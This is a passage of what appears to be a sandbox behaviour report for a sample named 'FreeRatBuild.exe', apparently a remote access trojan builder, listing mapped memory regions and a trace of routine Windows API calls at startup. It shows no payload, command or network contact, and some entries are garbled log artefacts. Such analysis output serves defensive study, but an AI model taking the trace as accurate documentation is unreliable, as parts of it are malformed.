0x66a0000 end_va = 0x66a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 395 start_va = 0x8190000 end_va = 0x81b7fff monitored = 0 entry_point = 0x8197a20 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 396 start_va = 0x66a0000 end_va = 0x66a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 397 start_va = 0x8190000 end_va = 0x81b7fff monitored = 0 entry_point = 0x8197a20 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 398 start_va = 0x66a0000 end_va = 0x66a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 399 start_va = 0x8190000 end_va = 0x81b7fff monitored = 0 entry_point = 0x8197a20 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 400 start_va = 0x66a0000 end_va = 0x66a2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wscript.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\wscript.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wscript.exe.mui") Region: id = 401 start_va = 0x8190000 end_va = 0x81b7fff monitored = 0 entry_point = 0x8197a20 region_type = mapped_file name = "wscript.exe" filename = "\\Windows\\SysWOW64\\wscript.exe" (normalized: "c:\\windows\\syswow64\\wscript.exe") Region: id = 402 start_va = 0x870000 end_va = 0x871fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 403 start_va = 0x71c00000 end_va = 0x71d7dfff monitored = 0 entry_point = 0x71c7c630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 404 start_va = 0x73f60000 end_va = 0x7422afff monitored = 0 entry_point = 0x7419c4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 405 start_va = 0x66a0000 end_va = 0x66a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000066a0000" filename = "" Region: id = 424 start_va = 0x6f8a0000 end_va = 0x6f8abfff monitored = 0 entry_point = 0x6f8a4ad0 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\SysWOW64\\pcacli.dll" (normalized: "c:\\windows\\syswow64\\pcacli.dll") Region: id = 425 start_va = 0x6f880000 end_va = 0x6f895fff monitored = 0 entry_point = 0x6f8821d0 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 453 start_va = 0x8190000 end_va = 0x81cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008190000" filename = "" Region: id = 454 start_va = 0x81d0000 end_va = 0x82cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081d0000" filename = "" Thread: id = 1 os_tid = 0xd2c [0066.891] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0066.891] LoadLibraryExW (lpLibFileName="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¸\x89Ã\x82Ðü\x18", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0066.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¸\x89Ã\x82Ðü\x18", cbMultiByte=256, lpWideCharStr=0x18f318, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0066.956] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f594 | out: lpCharType=0x18f594) returned 1 [0066.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¸\x89Ã\x82Ðü\x18", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0066.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¸\x89Ã\x82Ðü\x18", cbMultiByte=256, lpWideCharStr=0x18f2c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0066.956] LoadLibraryExW (lpLibFileName="?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0066.957] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f0b8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0066.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18fa94, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¸\x89Ã\x82Ðü\x18", lpUsedDefaultChar=0x0) returned 256 [0066.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¸\x89Ã\x82Ðü\x18", cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0066.957] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¸\x89Ã\x82Ðü\x18", cbMultiByte=256, lpWideCharStr=0x18f2e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0066.957] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0066.957] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchSrc=256, lpDestStr=0x18f0d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ") returned 256 [0066.957] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȈ", cchWideChar=256, lpMultiByteStr=0x18f994, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ¸\x89Ã\x82Ðü\x18", lpUsedDefaultChar=0x0) returned 256 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x80) returned 0x4bc72f8 [0066.958] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xa71130, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\FreeRatBuild.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\freeratbuild.exe")) returned 0x2e [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x37) returned 0x4bc69a8 [0066.958] RtlInitializeSListHead (in: ListHead=0xa70d28 | out: ListHead=0xa70d28) [0066.958] GetLastError () returned 0x0 [0066.958] SetLastError (dwErrCode=0x0) [0066.958] GetEnvironmentStringsW () returned 0x4bcc868* [0066.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1350, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1350 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x0, Size=0x546) returned 0x4bcd300 [0066.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1350, lpMultiByteStr=0x4bcd300, cbMultiByte=1350, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1350 [0066.958] FreeEnvironmentStringsW (penv=0x4bcc868) returned 1 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x90) returned 0x4bc6be8 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x1f) returned 0x4bc72b8 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x2e) returned 0x4bc8170 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x37) returned 0x4bc7080 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x3c) returned 0x4bc7790 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x31) returned 0x4bc6cb0 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x14) returned 0x4bc69e8 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x24) returned 0x4bc77d8 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0xd) returned 0x4bc7988 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x1d) returned 0x4bc70c0 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x31) returned 0x4bc65a8 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x15) returned 0x4bc65e8 [0066.958] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x17) returned 0x4bc6cf0 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0xe) returned 0x4bc79b8 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0xa2) returned 0x4bc74c8 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x3e) returned 0x4bc7108 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x1b) returned 0x4bc7150 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x1d) returned 0x4bc81a8 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x48) returned 0x4bc76e0 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x12) returned 0x4bc7730 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x18) returned 0x4bc7578 [0066.959] RtlAllocateHeap (HeapHandle=0x4bc0000, Flags=0x8, Size=0x1b) 